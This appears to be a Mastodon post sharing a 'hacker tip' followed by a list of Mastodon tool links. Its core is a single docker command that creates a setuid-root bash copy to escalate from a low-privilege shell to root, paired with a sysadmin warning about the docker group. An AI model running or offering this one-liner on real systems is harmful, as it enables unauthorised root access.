Geoffrey Vaughan @mrvaughan@mastodon.social

HACKER TIP: If you pop a low-priv linux shell. Don't forget to check if the user is in the "docker" group. If so, a root shell is only one line away:

$ docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p

screenshots and more here on my (crappy) blog: http://zacharykeeton.com/Linux_Privilege-Escalation-with-Docker/

SysAdmin tip: Don' t add any nonsudoers to the 'docker' group!

Mastodon Tools:

Instance Preview Tool: http://www.unmung.com/mastoview

Network Analysis: https://mnm.eliotberriot.com/dashboard/db/mastodon-network-overview

Instance List: https://instances.mastodon.xyz/list

Subreddit:
https://reddit.com/r/mastodon_social

Tampermonkey Script (max column width):
https://userstyles.org/styles/userjs/135501/Mastodon%20AutoResize%20Columns.user.js
(Must edit header to include the url(s) to your instance)

Twitter export:
http://mastodon-bridge.herokuapp.com/